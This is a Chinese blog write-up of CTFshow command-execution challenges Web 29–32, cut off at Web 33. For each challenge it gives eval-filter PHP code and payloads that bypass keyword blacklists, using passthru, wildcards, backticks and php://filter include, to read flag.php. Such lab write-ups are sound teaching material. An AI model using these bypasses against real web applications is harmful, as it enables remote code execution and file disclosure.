当前位置: 首页 > news >正文

CTFSHOW命令执行web入门29-54


description: >-
这里就记录一下ctfshow的刷题记录是web入门的命令执行专题里面的题目,他是有分类,并且覆盖也很广泛,所以就通过刷这个来,不过里面有一些脚本的题目发现我自己根本不会笑死。
如果还不怎么知道写题的话,可以去看我的gitbook,当然csdn我也转载了我自己的文章。如果你能去我的github为我的gitbook项目点亮星星或者follow me 那我将更开心。并且github和gitbook里面更详细,有更多关于web安全方面的知识,观感也会更好o。
github:https://github.com/kakaandhanhan/cybersecurity_knowledge_book-gitbook.22kaka.fun
gitbook:
http://gitbook.22kaka.fun


😇 CTFSHOW命令执行

(1)Web 29

1.代码解释

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

这段代码非常简单,就是通过get获得的变量c,如果里面不含有flag这个字符,就把c变量做为php代码执行。

2.解答过程

所以我们先查看当前目录下的文件。

http://21631e8d-00f2-42ec-991a-0bc5b5d7d661.challenge.ctf.show/?c=system("ls");

执行后,得到回显

可以看到,当前目录下有flag.php和index.php文件,很明显,我们要查看flag.php的内容,但是我们的c变量不能含有flag这个词,我们可以用通配符来处理这个问题,并且没有过滤cat等,所以直接查看。

http://21631e8d-00f2-42ec-991a-0bc5b5d7d661.challenge.ctf.show/?c=system("cat f*");

然后我们发现我们页面没有显示,可能是没有php代码,所以我们查看源码,发现flag。

$flag = 'ctfshow{2d67c35d-5ae0-4429-88d3-53be43c7a618}';

(2)Web 30

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

这段代码和上一题代码的区别就是,过滤了flag,system,和php

既然我们system用不了了,我们看可以用其他的php执行函数来代替吗。

可以试试passthru

http://2f1af390-2e2d-4d53-b104-a31ed9917f2b.challenge.ctf.show/?c=passthru("ls");

可以发现是成功的,我们还是按照上面的步骤继续执行。得到flag。

http://2f1af390-2e2d-4d53-b104-a31ed9917f2b.challenge.ctf.show/?c=passthru("cat f*");
$flag = 'ctfshow{8fc40658-23ec-4363-92e2-93a9320f5d4e}';

(3)web 31

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

可以看到过滤变多了,并且过滤了单引号和点和空格,单引号我们可以用双引号代替,空格也有很多可以代替的,cat可以用more等来代替,我们之前用的函数passthru可以不变。

所以得到最后的过滤语句为

http://af3fbe54-a16b-4cfb-bae0-180dc1e8ba0b.challenge.ctf.show/?c=passthru("ls");

可以看到出现我们想要的结果了,说明这个思路对了。然后利用查看的php代码。

http://af3fbe54-a16b-4cfb-bae0-180dc1e8ba0b.challenge.ctf.show/?c=echo(`less,f*`);

其实在这个地方的时候遇到了一个问题,就是如果我用<>或者%20或者$IFS都出不来,只有%09能出来结果,并且我用其他的过滤方式会导致生成新的文件,这是我没想通的。


(4)web 32

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

还是一样的过滤,大部分的过滤方式,其实现在都讲了,就是这个echo,我们可以换成print,但是我们用的一些函数都需要括号,所以之前的方法单纯过滤肯定不顶用。

后面看到wp发现可以用include,包含一个参数,参数传递php协议去筛选出本地文件

这个方法因为之前没有使用过。所以需要学习一下。

首先解释一下

include "$_GET[X]"?>
include "$_POST[x]"?>

这两个是一个php查询参数的语句,其中的x就是查询的参数名。又因为,include是要包含文件,所以x传递的应该是一个文件路径。

以上语句的双引号可以去掉,在某些单引号和双引号被过滤的情况下。

上面的?>是为了结束php的代码块,明确告诉解析器,我们的php代码结束了,我们接下来传入的参数是php的代码



有了以上的基础后,我们得到的答案代码片段是

http://e688fc70-5820-4a9b-96ae-5d688f4d2743.challenge.ctf.show/?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

可以看到,我们将flag.php的内容转化为base64编码展示出来了。

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7OTJkMTBlNjEtMTg1Zi00NTU4LTk4MGMtZWQ1Y2IyMjllNGQ3fSI7DQo=

然后进行base64解码,发现是

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:49:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/$flag="ctfshow{92d10e61-185f-4558-980c-ed5cb229e4d7}";

(5)web 33

error_reporting(0);
if(isset(

相关文章:

CTFSHOW命令执行web入门29-54

description: >- 这里就记录一下ctfshow的刷题记录是web入门的命令执行专题里面的题目,他是有分类,并且覆盖也很广泛,所以就通过刷这个来,不过里面有一些脚本的题目发现我自己根本不会笑死。 如果还不怎么知道写题的话,可以去看我的gitbook,当然csdn我也转载了我自己的…...

探索ChatGPT4:新一代人工智能语言模型的突破

ChatGPT4&#xff0c;作为最新一代的语言处理模型&#xff0c;代表了人工智能在自然语言理解和生成方面的最新突破。本文将深入介绍ChatGPT4的新特性&#xff0c;探讨其在各个领域的潜在应用。 ChatGPT4概述 在继承了前一代模型的强大基础之上&#xff0c;ChatGPT4引入了多项…...

PVST详解

PVST&#xff08;Per-VLAN Spanning Tree&#xff09;是Cisco公司的一种扩展的Spanning Tree协议&#xff0c;允许在每个VLAN中独立运行一个Spanning Tree实例&#xff0c;从而提高网络的可靠性和性能。 PVST协议在每个交换机中维护多个Spanning Tree实例&#xff0c;每个实例…...

c++ 子进程交互 逻辑

目录 一、主进程逻辑 1、创建子进程时候,写入自己的HWND 2、响应子进程消息...

C#实现矩阵乘法

目录 一、使用的方法 1.矩阵 2.矩阵的乘法原理 二、实例 1.源码 2.生成效果 一、使用的方法 矩阵相当于一个数组&#xff0c;主要用来存储一系列数&#xff0c;例如&#xff0c;mn矩阵是排列在m行和n列中的一系列数&#xff0c;mn矩阵可与一个np矩阵相乘&#xff0c;结果…...

Objective-C 中的SEL

在 Objective-C 中&#xff0c;SEL&#xff08;Selector&#xff09;是一种用来表示方法的类型。 它实际上是一个指向方法的指针&#xff0c;用于在运行时动态调用方法。 下面是一个使用 SEL 的代码示例&#xff1a; #import <Foundation/Foundation.h>interface MyCl…...

使用 Docker 镜像预热提升容器启动效率详解

概要 在容器化部署中,Docker 镜像的加载速度直接影响到服务的启动时间和扩展效率。本文将深入探讨 Docker 镜像预热的概念、必要性以及实现方法。通过详细的操作示例和实践建议,读者将了解如何有效地实现镜像预热,以加快容器启动速度,提高服务的响应能力。 Docker 镜像预热…...

锁(二)队列同步器AQS

一、队列同步器AQS 1、定义 用来构建锁或者其他同步组件的基础框架&#xff0c;它使用了一个int成员变量表示同步状态&#xff0c;通过内置的FIFO队列来完成资源获取线程的排队工作。是实现锁的关键。 2、实现 同步器的设计是基于模板方法模式的&#xff0c;也就是说&#…...

【知识整理】招人理念、组织结构、招聘

1、个人思考 几个方面&#xff1a; 新人&#xff1a;选、育、用、留 老人&#xff1a;如何甄别&#xff1f; 团队怎么演进&#xff1f; 有没有什么注意事项 怎么做招聘&#xff1f; 2、 他人考虑 重点&#xff1a; 1、从零开始&#xff0c;讲一个搭建团队的流程 2、标…...

监控概述、安装zabbix、配置zabbixagent、添加被控端主机、常用监控指标、自定义监控项

目录 监控概述 监控命令 zabbix 安装zabbix 6.0 配置zabbix监控web1服务器 在web1上安装agent 在web页面中添加对web1的监控 常用监控指标 自定义监控项 实现监控web1用户数量的监控项 在被控端创建key 创建模板 应用模板到主机 查看结果 监控概述 对服务的管理&am…...

恒创科技:香港 BGP 服务器网络连通性如何测试?

随着互联网的快速发展&#xff0c;网络连通性测试变得越来越重要。网络连通性测试的目的是确定网络设备之间的连接是否正常&#xff0c;以及数据包是否能够在网络中顺利传输。本文将介绍一种简单易行的香港 BGP 服务器网络连通性的测试方法&#xff0c;利用tracer测试工具。这里…...

《动手学深度学习(PyTorch版)》笔记7.6

注&#xff1a;书中对代码的讲解并不详细&#xff0c;本文对很多细节做了详细注释。另外&#xff0c;书上的源代码是在Jupyter Notebook上运行的&#xff0c;较为分散&#xff0c;本文将代码集中起来&#xff0c;并加以完善&#xff0c;全部用vscode在python 3.9.18下测试通过&…...

Quicker读取浏览器的书签(包括firefox火狐)

从edge换了火狐&#xff0c;但是quicker不能读取本地的bookmarks文件了&#xff0c;就研究了一下。 方法1&#xff1a;读取本地Bookmarks文件&#xff08;仅谷歌内核浏览器&#xff09; 谷歌内核的浏览器本地会有Bookmarks文件&#xff0c;放了所有的书签数据&#xff0c;直接…...

【数学建模】【2024年】【第40届】【MCM/ICM】【B题 搜寻潜水器】【解题思路】

一、题目 &#xff08;一&#xff09;赛题原文 2024 MCM Problem A: Resource Availability and Sex Ratios Maritime Cruises Mini-Submarines (MCMS), a company based in Greece, builds submersibles capable of carrying humans to the deepest parts of the ocean. A …...

深入探索Redis:如何有效遍历海量数据集

深入探索Redis&#xff1a;如何有效遍历海量数据集 Redis作为一个高性能的键值存储数据库&#xff0c;广泛应用于各种场景&#xff0c;包括缓存、消息队列、排行榜等。随着数据量的增长&#xff0c;如何高效地遍历Redis中的海量数据成为了一个值得探讨的问题。在本篇博客中&am…...

贪心算法之田忌赛马,多种语言实现

目录 题目描述: 输入: 样例输入: 样例输出: c代码实现: c++代码实现: python代码实现: Java代码实现: 题目描述: 这是中国历史上一个著名的故事。 “那是大约2300年前的事了。田骥将军是齐国的高级官员。他喜欢和国王和其他人一起赛马。 “田和王都有三匹不同等级…...

C++ static 修饰全局变量时的作用探究

C static 修饰全局变量时的作用探究 作为一个c开发者&#xff0c;我们面试时经常被问到 static 变量的作用&#xff0c;其中有一个问题是&#xff0c;static 修饰全局变量时起什么作用。 通常我们会回答&#xff0c;“static 修饰全局变量时代表限制这个变量为此源文件可见&a…...

Git的基础操作指令

目录 1 前言 2 指令 2.1 git init 2.2 touch xxx 2.3 git status 2.4 git add xxx 2.5 git commit -m xxxx 2.5 git log及git log --prettyoneline --all --graph --abbrev-commit 2.6 rm xxx 2.7 git reset --hard xxx(含小技巧) 2.8 git reflog 2.9 mv xxx yyy 1…...

前端开发:(四)JavaScript入门

JavaScript是一种强大的脚本语言&#xff0c;用于在网页中实现交互性和动态性。它的发展历史可以追溯到1995年&#xff0c;由Netscape公司的Brendan Eich设计开发而成。JavaScript的重要性在于它能够让网页实现丰富的功能和用户体验&#xff0c;成为Web开发的核心技术之一。 1…...

js文件忽略ESLint语法检查

1. 整个文件忽略 /* eslint-disable */ // 代码开始位置2. 临时禁止 /* eslint-disable */ console.log(hello); /* eslint-enable */3. 对指定规则忽略 /* eslint-disable no-alert, no-console */ alert(foo); console.log(bar); /* eslint-enable no-alert, no-console …...

3.3.1_1 检错编码(奇偶校验码)

从这节课开始&#xff0c;我们会探讨数据链路层的差错控制功能&#xff0c;差错控制功能的主要目标是要发现并且解决一个帧内部的位错误&#xff0c;我们需要使用特殊的编码技术去发现帧内部的位错误&#xff0c;当我们发现位错误之后&#xff0c;通常来说有两种解决方案。第一…...

可靠性+灵活性:电力载波技术在楼宇自控中的核心价值

可靠性灵活性&#xff1a;电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中&#xff0c;电力载波技术&#xff08;PLC&#xff09;凭借其独特的优势&#xff0c;正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据&#xff0c;无需额外布…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

HTML 列表、表格、表单

1 列表标签 作用&#xff1a;布局内容排列整齐的区域 列表分类&#xff1a;无序列表、有序列表、定义列表。 例如&#xff1a; 1.1 无序列表 标签&#xff1a;ul 嵌套 li&#xff0c;ul是无序列表&#xff0c;li是列表条目。 注意事项&#xff1a; ul 标签里面只能包裹 li…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

[Java恶补day16] 238.除自身以外数组的乘积

给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&#xff0c;且在 O(n) 时间复杂度…...

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表

##鸿蒙核心技术##运动开发##Sensor Service Kit&#xff08;传感器服务&#xff09;# 前言 在运动类应用中&#xff0c;运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据&#xff0c;如配速、距离、卡路里消耗等&#xff0c;用户可以更清晰…...

Mysql中select查询语句的执行过程

目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析&#xff08;Parser&#xff09; 2.4、执行sql 1. 预处理&#xff08;Preprocessor&#xff09; 2. 查询优化器&#xff08;Optimizer&#xff09; 3. 执行器…...

虚拟电厂发展三大趋势:市场化、技术主导、车网互联

市场化&#xff1a;从政策驱动到多元盈利 政策全面赋能 2025年4月&#xff0c;国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》&#xff0c;首次明确虚拟电厂为“独立市场主体”&#xff0c;提出硬性目标&#xff1a;2027年全国调节能力≥2000万千瓦&#xff0…...